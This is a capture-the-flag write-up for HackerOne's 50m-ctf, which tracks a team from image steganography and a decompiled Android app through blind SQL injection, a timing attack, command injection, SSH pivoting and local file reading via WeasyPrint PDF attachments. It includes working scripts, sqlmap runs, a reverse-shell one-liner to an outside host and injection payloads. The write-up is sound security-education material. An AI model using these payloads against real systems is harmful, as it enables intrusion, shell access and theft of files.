Lucene search

K
hackeroneRet2jazzyH1:504413
HistoryMar 03, 2019 - 10:08 a.m.

50m-ctf: CTF write-up: c8889970d9fb722066f31e804e351993

2019-03-0310:08:22
ret2jazzy
hackerone.com
13

8.6 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.004 Low

EPSS

Percentile

70.4%

So the CTF starts with this tweet.

{F434370}

The first image is about the 50 million in bounties but the second one looks related to the CTF. The first thing that comes to mind when relating CTFs and images is “steganography”.

Using the all purpose steg tool zsteg as our first resort, we discover some interesting data in the image, hidden in the form of LSB steg. It can be isolated like this:

root@pwnbox16:~/files# zsteg --lsb -b 1 -o yx D0XoThpW0AE2r8S.png
b1,rgb,lsb,yx       .. zlib: data="https://bit.do/h1therm", offset=5, size=22

The shortened URL returns a apk. Instead of installing it, I decided to go with static analysis.


An apk is basically java compiled into bytecode, so it’s easily decompilable. At first, I tried jadx but it was error-ing out on multiple functions, so I decided to take long way.

I created a jar file out of the apk using enjarify and then decompiled it with procyon. Along with that, I also disassembled it with apktool to get the other files such as the manifest and resources.

root@pwnbox16:~/files# enjarify/enjarify.sh h1thermostat.apk 
Using python3 as Python interpreter
1000 classes processed
2000 classes processed
Output written to h1thermostat-enjarify.jar
2421 classes translated successfully, 0 classes had errors

root@pwnbox16:~/files# apktool d h1thermostat.apk 
I: Using Apktool 2.3.4 on h1thermostat.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
S: WARNING: Could not write to (/root/.local/share/apktool/framework), using /tmp instead...
S: Please be aware this is a volatile directory and frameworks could go missing, please utilize --frame-path if the default storage directory is unavailable
I: Loading resource table from file: /tmp/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Due to some Java dependency issues locally, I opted to use the online version of procyon availabe at http://www.javadecompilers.com/

After getting the source and other resources/manifest, I popped it all in Android Studio.

Skimming over the source, the app looks like a remote controller for a thermostat.

According to the AndroidManifest.xml, the MainActivity was com.hackerone.thermostat.LoginActivity.

{F434392}

Looking over LoginActivity, we identify some interesting functions such as attemptLogin().

{F434393}

The main part happens right at the end.

            this.showProgress(b);
            final JSONObject jsonObject = new JSONObject();
            jsonObject.put("username", (Object)LoginActivity.username);
            jsonObject.put("password", (Object)LoginActivity.password);
            jsonObject.put("cmd", (Object)"getTemp");
            Volley.newRequestQueue((Context)this).add(new PayloadRequest(jsonObject, new LoginActivity$3(this)));

It basically creates a JSON object with the username and password we enter, along with "cmd" : "getTemp". It then creates a new PayloadRequest object and adds it to the request queue.

The PayloadRequest class is even more interesting…

{F434420}

The main thing happens in BuildPayload:

    private String buildPayload(final JSONObject jsonObject) {
        final int n = 16;
        final byte[] array2;
        final byte[] array = array2 = new byte[n];
        array2[0] = 56;
        array2[1] = 79;
        array2[2] = 46;
        array2[3] = 106;
        array2[4] = 26;
        array2[5] = 5;
        array2[6] = -27;
        array2[7] = 34;
        array2[8] = 59;
        array2[9] = -128;
        array2[10] = -23;
        array2[11] = 96;
        array2[12] = -96;
        array2[13] = -90;
        array2[14] = 80;
        array2[15] = 116;
        final SecretKeySpec secretKeySpec = new SecretKeySpec(array, "AES");
        final byte[] array3 = new byte[n];
        new SecureRandom().nextBytes(array3);
        final IvParameterSpec ivParameterSpec = new IvParameterSpec(array3);
        final Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
        instance.init(1, secretKeySpec, ivParameterSpec);
        final byte[] doFinal = instance.doFinal(jsonObject.toString().getBytes());
        final byte[] array4 = new byte[doFinal.length + n];
        System.arraycopy(array3, 0, array4, 0, n);
        System.arraycopy(doFinal, 0, array4, n, doFinal.length);
        return Base64.encodeToString(array4, 0);

It basically encrypts our JSON object (stringified) using AES-CBC with a static key and a randomly generated IV. It then prepends the IV to the encrypted string (for decryption) and base64 encodes it.

A POST request is sent with the encrypted JSON in the d parameter to http://35.243.186.41/, according to the constructor:

    public PayloadRequest(final JSONObject jsonObject, final Response$Listener mListener) {
        super(1, "http://35.243.186.41/", new PayloadRequest$1(mListener));
        this.mListener = mListener;
        (this.mParams = new HashMap()).put("d", this.buildPayload(jsonObject));
    }

The response is also encrypted, as the parseNetworkResponse function tries to decrypt it

    protected Response parseNetworkResponse(final NetworkResponse networkResponse) {
        try {
            try {
                final byte[] decode = Base64.decode(new String(networkResponse.data), 0);
                final int n = 16;
                final byte[] array = new byte[n];
                System.arraycopy(decode, 0, array, 0, n);
                final byte[] array2 = new byte[decode.length - n];
                try {
                    System.arraycopy(decode, n, array2, 0, decode.length - n);
                    final byte[] array3 = new byte[n];
                    try {
                        final byte[] array4 = array3;
                        array4[0] = 56;
                        array4[1] = 79;
                        array4[2] = 46;
                        array4[3] = 106;
                        array4[4] = 26;
                        array4[5] = 5;
                        array4[6] = -27;
                        array4[7] = 34;
                        array4[8] = 59;
                        array4[9] = -128;
                        array4[10] = -23;
                        array4[11] = 96;
                        array4[12] = -96;
                        array4[13] = -90;
                        array4[14] = 80;
                        array4[15] = 116;
                        final SecretKeySpec secretKeySpec = new SecretKeySpec(array3, "AES");
                        final IvParameterSpec ivParameterSpec = new IvParameterSpec(array);
                        final Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");
                        instance.init(2, secretKeySpec, ivParameterSpec);
                        final Cipher cipher = instance;
                        try {
                            final byte[] doFinal = cipher.doFinal(array2);
                            try {
                                final JSONObject jsonObject = new JSONObject(new String(doFinal));
                                if (jsonObject.getBoolean("success")) {
                                    return Response.success(null, this.getCacheEntry());
                                }
                                final String string = jsonObject.getString("error");
                                try {
                                    return Response.success(string, this.getCacheEntry());
                                }
                                catch (Exception ex) {
                                    return Response.success("Unknown", this.getCacheEntry());
                                }
                            }
...<rest snipped out>...

I quickly wrote a encryption/decryption routine in python to help me send requests to the server.

import requests
import sys
from Crypto.Cipher import AES

def pad(s):
    return s + chr(0x10 - len(s)%0x10) * (0x10 - len(s)%0x10) 

def unpad(s):
    return s[:-ord(s[-1])]

KEY = '\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'

 
data = ("A" * 16 + AES.new(KEY, AES.MODE_CBC, "A" * 16).encrypt(pad(sys.argv[1]))).encode('base64')
resp = requests.post("http://35.243.186.41/", data={'d': data}).text.decode('base64')

print unpad(AES.new(KEY, AES.MODE_CBC, resp[:16]).decrypt(resp[16:]))

It basically takes the first command line parameter, encrypts it and sends the request to the server. Then it decrypts the response and prints it.

Using it to tamper with the server, I identified admin:password as a valid user/pass combination

root@pwnbox16:~/files# python remote.py '{"username":"admin", "password":"admin", "cmd":"getTemp"}'
{"success": false, "error": "Invalid username or password"}
root@pwnbox16:~/files# python remote.py '{"username":"admin", "password":"password", "cmd":"getTemp"}'
{"temperature": 73, "success": true}

Playing around with it a little more, I also identified a blind SQLi in the username.

root@pwnbox16:~/files# python remote.py '{"username":"admin'\'' and 1=1#", "password":"password", "cmd":"getTemp"}'
{"temperature": 73, "success": true}
root@pwnbox16:~/files# python remote.py '{"username":"admin'\'' and 1=2#", "password":"password", "cmd":"getTemp"}'
{"success": false, "error": "Invalid username or password"}

1=1 returns true while 1=2 makes the statement false, making it return Invalid username/password.

Ideally at this point, I would’ve used SQLMap to dump the whole db because blind SQLi is tedious but since everything is encrypted, I cannot directly use SQLmap.

Now, I can either script the blind SQLi or use some trick to get SQLmap to work. I decided to go with the latter.

The brilliant idea is to write simple webapp in Flask which would take the plaintext values as GET parameters, encrypt them and forward them to the actual server and return the decrypted response, acting like a encryption/decryption proxy.

from flask import Flask, request
from Crypto.Cipher import AES
import requests
import json

def pad(s):
    padn = 16 - (len(s) % 16)
    return s + chr(padn) * padn

def unpad(s):
    return s[:-ord(s[-1])]

KEY = '\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'


app = Flask(__name__)

@app.route('/')
def hack():
    data = {"username": request.args.get('username'), "password": request.args.get('password'), "cmd": "getTemp"}
    enc  = ("A" * 16 + AES.new(KEY, AES.MODE_CBC, "A" * 16).encrypt(pad(json.dumps(data)))).encode('base64')
    resp = requests.post("http://35.243.186.41/", data={'d': enc}).text.decode('base64')
    return unpad(AES.new(KEY, AES.MODE_CBC, resp[:16]).decrypt(resp[16:]))

if __name__ == "__main__":
    app.run(host='0.0.0.0', threaded=True)

Now I can basically run SQLmap on localhost with plaintext values and not worry about any encryption/decryption.

root@pwnbox16:~/files# python sqlmap.py -u "http://localhost:5000/?username=admin&password=admin" --level 5 --risk 3 --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.2.11.6#dev}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

<snip>....
sqlmap identified the following injection point(s) with a total of 556 HTTP(s) requests:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=admin' AND 2307=(SELECT (CASE WHEN (2307=2307) THEN 2307 ELSE (SELECT 8582 UNION SELECT 1355) END))-- zTlo&password=admin&cmd=getTemp

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=admin' AND SLEEP(5)-- fbmN&password=admin&cmd=getTemp
---
[18:25:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:25:51] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[18:25:51] [INFO] fetching current database
[18:25:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:25:51] [INFO] retrieved: flitebackend
<snip>....

The flitebackend looks like main DB and it only has two tables named users and devices. The users table only has one entry

Database: flitebackend
Table: users
[1 entry]
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----+----------+----------------------------------+

The devices table has 151 entries, essentially consisting of IPs

Database: flitebackend
Table: devices
[151 entries]
+-----+-----------------+
| id  | ip              |
+-----+-----------------+
| 1   | 192.88.99.253   |
| 2   | 192.88.99.252   |
| 3   | 10.90.120.23    |
| 4   | 244.188.235.4   |
<snip>....
| 149 | 243.99.63.239   |
| 150 | 10.17.63.143    |
| 151 | 192.88.99.59    |
+-----+-----------------+

The next logical course of action would be related to the IPs, so we nmap-ed all the IPs.

root@pwnbox16:~/files# for ip in `cat IPs.txt`; do nmap -v "$ip"; done

Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-03 02:59 UTC
Initiating Ping Scan at 02:59
Scanning 192.88.99.253 [4 ports]
Completed Ping Scan at 02:59, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:59
Completed Parallel DNS resolution of 1 host. at 02:59, 0.00s elapsed
<snip>....

The only IP that stood out is the 104.196.12.98 because it had port 80 open. We see a promising FliteThermostat login page when visiting it.

{F434443}

Trying to login, we observe a weird behaviour. Instead of sending the username and password in the login request, it actually sent a custom hash based on our username/password, derived from http://104.196.12.98/login.js,

The hash is based on RC4 and XORs but I won’t go deep into explaining it as it’s irrelevant for the CTF.

This is where we got stuck for a few hours. During that time, we went back to the original SQLi and chased the rabbit of trying to read local files using load_file() as it was running as root@localhost user.

Other than that, we also found a “setTemp” command in the ThermostatModel.java of the android apk but it wasn’t useful either.

When nothing else panned out, we went back and just started playing with the endpoint more. During the recon process, we dirsearched and found a few endpoints but all of them just 302-ed back to root as they probably required authentication.


Target: http://104.196.12.98/

[20:18:02] Starting: 
[20:18:04] 400 -  157B  - /%2e%2e/google.com
[20:18:44] 302 -  209B  - /control  ->  http://104.196.12.98/
[20:19:33] 302 -  209B  - /main  ->  http://104.196.12.98/
[20:20:05] 302 -  209B  - /update  ->  http://104.196.12.98/

Deducing from the response headers, especially the all caps “METHOD NOT ALLOWED” when sending an invalid http verb, it felt like a Flask webapp running behind the nginx.

After a few hours of misery, we finally had a breakthrough.

If we send a hash of the length 64, which is what login.js generates, it would take 0.5 seconds for a response but if the length is not 64, it would return in 0.05 seconds.

ubuntu@ip-172-31-22-54:~$ time curl -X POST 'http://104.196.12.98/' -d 'hash=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabca'
....
real	0m0.559s
user	0m0.008s
sys	0m0.000s

ubuntu@ip-172-31-22-54:~$ time curl -X POST 'http://104.196.12.98/' -d 'hash=aaaaa'
....
real	0m0.057s
user	0m0.008s
sys	0m0.000s

This points to your typical timing attack. @corb3nik wrote a quick script to verify it by bruting the first byte (2 characters as it’s hex encoded) and sure enough, the first byte is f9.

ubuntu@ip-172-31-22-54:~$ time curl -X POST 'http://104.196.12.98/' -d 'hash=f9cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd'
...
real	0m1.059s
user	0m0.004s
sys	0m0.004s

It took 0.5 more seconds than usual, and now it’s just a matter of scripting it. The server was kinda unreliable, so we did some super advanced heuristics to get the right character.

Here is the final script:

#!/usr/bin/env python3

import requests
import time
import binascii
import threading

URL = "http://104.196.12.98/"
DATA = {
   "hash" : ""
}
HEADERS = {
   "Content-Type" : "application/x-www-form-urlencoded"
}

RESULTS = {}
CURRENT = b''
#CURRENT = b'\xf9\x86ZIR\xa4\xf5\xd7KC\xf3U\x8f\xedj\x02%\xc6\x87\x7f\xba`\xa2P\xbc\xbd\xe7S\xf5\xdb\x13'

def test(attempt):
   before = time.time()
   data = dict(DATA)
   data['hash'] = binascii.hexlify(CURRENT + bytes([attempt])).ljust(64, b"0")
   r = requests.post(URL, data=data, headers=HEADERS)
   print(r, len(r.text))
   after = time.time()

   diff = after - before
   RESULTS[attempt] = diff


while True:
   possibilities = [i for i in range(0xff)]

   while True:
       threads = []
       RESULTS = {}

       m = 0
       for attempt in list(possibilities):
           thread = threading.Thread(target=test, args=(attempt,))
           thread.start()
           m += 1

           if m % 7 == 0:
               time.sleep(1.5)
           threads.append(thread)

       for thread in threads:
           thread.join()

       THRESHOLD = 0.50 * (len(CURRENT) + 2)
       for attempt in RESULTS:
           t = RESULTS[attempt]
           if RESULTS[attempt] < THRESHOLD:
               possibilities.remove(attempt)

       if len(possibilities) <= 1:
           break

       print(possibilities)

   CURRENT = CURRENT + bytes([possibilities[0]])
   print(CURRENT)

The final hash came out to be f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db13d8

Using it to login, we are presented with a very simple page:

{F434454}

In the HTML source, we also see a commented out /diagnostics endpoint

		<ul>
			<li><a href="/control">Temperature control</a></li>
			<li><a href="/update">Check for updates</a></li>
			
		</ul>

But it returns “Forbidden” when we try to access it. Later on, we will find out that it was just a red herring and all the time I spent on accessing it was a waste.

The /update endpoint probably tries to connect to a host and looks for an update manifest file, but it always errors as the host:post used is invalid

{F434469}

The /control endpoint shows us the temperature of the supposed thermostat and allows us to change it too. It didn’t turn out to be useful either except we could have an extremely large/small temperature.

{F434477}

Well, we started the typical recon process and bruted the GET parameters for the /update and /control. Soon enough, port was discovered as a valid parameter on /update

The port basically controlled port to where the server tried to look for the update file. It only accepted integers and supplying port as 1337 made the server connect to http://update.flitethermostat:1337/

{F434479}

Now if we can control the port, we might able to control the host too. The hard part was guessing the parameter it depended on. We tried host, hostname and all the other obvious names but none worked. The whole wordlist of param-miner also returned nothing.

Now this is where we got stuck and called it a night (it was already 2am).


Next morning, we stumbled upon this tweet from the challenge author, an underscore (_).

This looks like a CTF hint, maybe we have to brute parameters with underscores? Anyhow @corb3nik mutated his wordlist with underscores in the prefix, suffix and two words joined with an underscore.

And after some more advanced guessing, we finally figured out the parameter name. It is called update_host. This was such a stretch…

Next, It didn’t take us long to discover the command injection in it. Our input is probably being passed unsanitized in a command and we can easily inject arbitrary commands by using backticks

{F434483}

Next, we got a reverse shell using

echo "bash -i &gt;& /dev/tcp/p.hacker.af/8181 0&gt;&1"|bash

(piping to bash as the server was using /bin/sh)

And there, we got the shell.

ubuntu@ip-172-31-22-54:~$ nc -nlvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from 104.196.12.98 57122 received!
bash: cannot set terminal process group (10): Inappropriate ioctl for device
bash: no job control in this shell
root@4d131d414079:/app#

Looks like we are root and inside an docker instance. Let’s take a look at the source now

root@4d131d414079:/app# cat main.py
from flask import Flask, abort, redirect, render_template, request, Response, session
from jinja2 import Template
import base64, json, os, random, re, subprocess, time

app = Flask(__name__)
app.secret_key = '99807ef08993b1cf019f6cd30fa3acbfbda992ee2aeffc5339f0f130e25604c4'

&lt;snip&gt;...

@app.route('/diagnostics')
def diagnostics():
	if 'loggedIn' not in session or not session['loggedIn']:
		return redirect('/')
	return 'Forbidden', 403

if __name__ == "__main__":
	app.run(host='0.0.0.0', port=80)

CAN YOU BELIEVE IT? The whole diagnostics was a ruse…


We started playing around and that’s when I broke the challenge. It was a shared docker instance and I was trying to escape it, so I overwrote the docker entrypoint and broke everything.

Essentially, I was trying the recent docker CVE-2019-5736. I was hopeful that it might work because the filesystem persisted even after a forced restart (kill -9 1). In the process of verifying it, I overwrote the /usr/bin/python (the entrypoint) binary with ‘1’ hoping that it would crash during the force reboot and a new fresh instance would start up.

Instead, it went down and never came up. We messaged Cody and even went to talk to him IRL. We asked him about the docker escape and he was like “No, you guys are way overthinking this” and then he restarted the challenge. He also turned down our approach of leaking stuff with the Google Cloud Metadata.

Well, the next thing we did was to install some useful tools (net-tools, nmap) in the otherwise minimal docker image. Then we scanned the local subnet

root@4d131d414079:/app# ifconfig
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 172.19.0.2  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:13:00:02  txqueuelen 0  (Ethernet)
        RX packets 702225  bytes 97006785 (92.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 560986  bytes 152943040 (145.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1  (Local Loopback)
        RX packets 2  bytes 1033 (1.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2  bytes 1033 (1.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@4d131d414079:/app# nmap -v 172.19.0.0/16

Starting Nmap 7.40 ( https://nmap.org ) at 2019-03-03 07:05 UTC
Initiating ARP Ping Scan at 07:05
Scanning 4096 hosts [1 port/host]
&lt;snip&gt;
Discovered open port 22/tcp on 172.19.0.1
Discovered open port 80/tcp on 172.19.0.3
Discovered open port 80/tcp on 172.19.0.1

Port 80 was open on 172.19.0.3, that sounds promising…

root@4d131d414079:/app# curl 172.19.0.3
&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
	&lt;head&gt;

&lt;snip&gt;....
			
<b>Materials contained within are confidential and for HackerOne employee eyes only</b>

&lt;snip&gt;...

So another webapp, huh? It’s hosted on the private subnet of the docker instance, so we can’t directly access it from the outside. It would suck to exploit it over curl, so let’s pull some super advanced networking tricks make it more accessible.

Since it’s a docker instance and I’m behind a NAT myself, we can’t directly reach each other. So I will be using a Jump box to pull some ssh forwarding tricks.

I installed sshd on the docker instance, and then forwarded the local port 22 to port 2222 on my Jumpbox.

root@4d131d414079:/app# service ssh start
Starting OpenBSD Secure Shell server: sshd.

root@4d131d414079:/app# ssh ubuntu@p.hacker.af -R 2222:localhost:22
ubuntu@p.hacker.af's password:
&lt;snip&gt;...

Then I forward the port 2222 on my Jumpbox to 4444 locally

$ ssh ubuntu@p.hacker.af -L 4444:localhost:2222

Now I can basically reach the docker instance by ssh-ing to localhost on port 4444. I already had my public key added, so everything works out nicely.

 $ ssh root@localhost -p 4444                            
The authenticity of host '[localhost]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:x5ufg0rDo0ac001Yng3bJFS6yDyfk6H8ZZnOFj++kJM.
&lt;snip&gt;....
Last login: Sat Mar  2 09:31:09 2019 from 127.0.0.1
root@4d131d414079:~#

Well, now we use the fancy dynamic forwarding feature of SSH .

root@pwnbox16:~/files/# ssh root@localhost -p 4444 -D 6666

Using localhost:6666 as a SOCKS proxy, we can access the private subnet of the docker instance now.

{F434515}

From the UI, we can see an invoices and reports page. But they’re both login protected

{F434519}

Instead of playing around with the login, I decided to concentrate on a commented endpoint I found in the HTML source of invoices.


					<li>
						<a href="/">Home</a>
					</li>
					<li>
						<a href="/reports">Reports</a>
					</li>
					<li>
						<a href="/invoices">Invoices</a>
					</li>
					
					

The /invoices/new looked pretty interesting…

{F434520}

So we have a “preview” and a “Save PDF” feature. Capturing the request in Burp, we observe JSON being sent as a GET parameter

{F434521}

The preview endpoint generates a HTML page based on our input and the Save PDF endpoint probably uses that HTML and parses it into a PDF.

Seems to me that we need to get XSS and somehow get the PDF renderer to parse our arbitrary HTML/Javascript. Then, we might be able to leverage it into an LFD by using iframes etc.

Playing around with it a little, we quickly identify the unsanitized input in the “body” key of the JSON.

{F434522}

We tried to close the style tag with &lt;/style&gt; but apparently it got stripped out. Looks like the work of some shitty WAF. It didn’t take us long to use it’s stripping against itself &lt;/sty&lt;/style&gt;le&gt;.

{F434524}

The only thing left now is to get a LFD. I leaked information about the backend PDF to HTML parser by adding a rogue img tag pointing to my server. Here was the request I received

ubuntu@ip-172-31-22-54:~$ nc -nlvp 8182
Listening on [0.0.0.0] (family 0, port 8182)
Connection from 104.196.12.98 50666 received!
GET / HTTP/1.1
Host: p.hacker.af:8182
User-Agent: WeasyPrint 44 (http://weasyprint.org/)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

Looks like it’s using WeasyPrint to parse the HTML into PDF. I had never encountered it before, so I began reading the documentation.

It doesn’t support Javascript, but the security section on the Tutorial page seems promising.

{F434528}

It basically states we can access local files using file:// URI. But unfortunately, neither iframes or embed/object tags worked with local files. All of those just displayed a blank blox.

I was out of ideas, so I decided to postpone the hacking to later than night (back when I’d be in hotel).

At around midnight, I started again and began reading the documentation again. That’s when I stumbled upon the features page.

{F434530}

Here is the interesting part:

Attachments are related files, embedded in the PDF itself. They can be specified through &lt;link rel=attachment&gt; elements to add resources globally or through regular links with <a> to attach a resource that can be saved by clicking on said link. The title attribute can be used as description of the attachment.

So basically if I make the &lt;link&gt; tag with rel="attachment", it will store the reference as a “attachment” in the PDF. Let’s try using it with a reference to file:///etc/passwd.

root@pwnbox16:~/files/pdfhack# curl -g --proxy socks5h://localhost:6666 'http://172.19.0.3/invoices/pdfize?d={"companyName":"Acme Tools","email":"accounting@acme.com","invoiceNumber":"0001","date":"2019-04-01","items":[["1","","","10"]],"styles":{"body":{"background-color:white}&lt;/sty&lt;/style&gt;le&gt;&lt;link rel=\"attachment\" href=\"file:///etc/passwd\"&gt;":"white"}}}'  -o out.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 19735  100 19735    0     0  44649      0 --:--:-- --:--:-- --:--:-- 44649

The attachment won’t be visible directly in the document and since my PDF viewer didn’t support extraction of attachments, I used pdftk to extract the attachments.

root@pwnbox16:~/files/pdfhack# pdftk out.pdf unpack_files

root@pwnbox16:~/files/pdfhack# ls -l
total 24
-rw-rw-r-- 1 root root 19735 Mar  3 08:40 out.pdf
-rw-r--r-- 1 root root  1020 Mar  3 08:43 passwd

root@pwnbox16:~/files/pdfhack# cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
messagebus:x:102:103::/var/run/dbus:/bin/false

Looks like we have a full LFD :)

Let’s try leaking the source code of webapp. Judging from the previous docker instance, the source should be in /app/main.py

root@pwnbox16:~/files/pdfhack# curl -g --proxy socks5h://localhost:6666 'http://172.19.0.3/invoices/pdfize?d={"companyName":"Acme Tools","email":"accounting@acme.com","invoiceNumber":"0001","date":"2019-04-01","items":[["1","","","10"]],"styles":{"body":{"background-color:white}&lt;/sty&lt;/stystylele&gt;le&gt;&lt;link rel=\"attachment\" href=\"file:///app/main.py\"&gt;":"white"}}}'  -o out2.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 20846  100 20846    0     0  46844      0 --:--:-- --:--:-- --:--:-- 46739

root@pwnbox16:~/files/pdfhack# pdftk out2.pdf unpack_files
root@pwnbox16:~/files/pdfhack# cat main.py
"""
CONGRATULATIONS!

If you're reading this, you've made it to the end of the road for this CTF.

Go to https://hackerone.com/50m-ctf and submit your write up, including as much detail as you can.
Make sure to include 'c8889970d9fb722066f31e804e351993' in the report, so we know for sure you made it through!

Congratulations again, and I'm sorry for the red herrings. :)
"""

from flask import Flask, abort, redirect, render_template, request, Response
from jinja2 import Template
from weasyprint import HTML
import base64, json, os, random, re

app = Flask(__name__)
&lt;snip&gt;...

Looking at the rest of the source, I realized I dodged a fuckin bulldozer by not messing with the login…

@app.route('/auth', methods=['GET', 'POST'])
def auth(page=None):
	error = None
	if request.method == 'POST':
		password = request.form['password']
		error = makeSqlError(password)
		if error is False or ("'" in password and 'sqlmap' in request.headers.get('User-Agent') and random.randrange(3) != 0):
			raise Exception('SQL Error')
	return render('login', page=page or 'login', error=error)

def makeSqlError(password):
	password = "'" + password + "'"
	quotes = 0
	escape = False
	nonquoted = ''
	for c in password:
		if escape:
			escape = False
		elif c == '\\':
			escape = True
		elif c == '\'':
			quotes += 1
		elif (quotes & 1) == 0:
			nonquoted += c

	if (quotes & 1) != 0:
		return False
	elif ' OR ' in nonquoted:
		return 'Invalid password'
	elif 'UNION' in nonquoted:
		return 'Invalid username'
	return 'Invalid username or password

THAT IS SO EVIL. I definitely wouldn’t have enjoyed going down that rabbit hole…

So getting the source of main.py marked the end of the CTF. The flag is c8889970d9fb722066f31e804e351993

Overall, it was pretty good except the advanced guessing parts. This was a team effort by me and @corb3nik.

Impact

Cyber quantum blockchain RCE with AI

8.6 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.004 Low

EPSS

Percentile

70.4%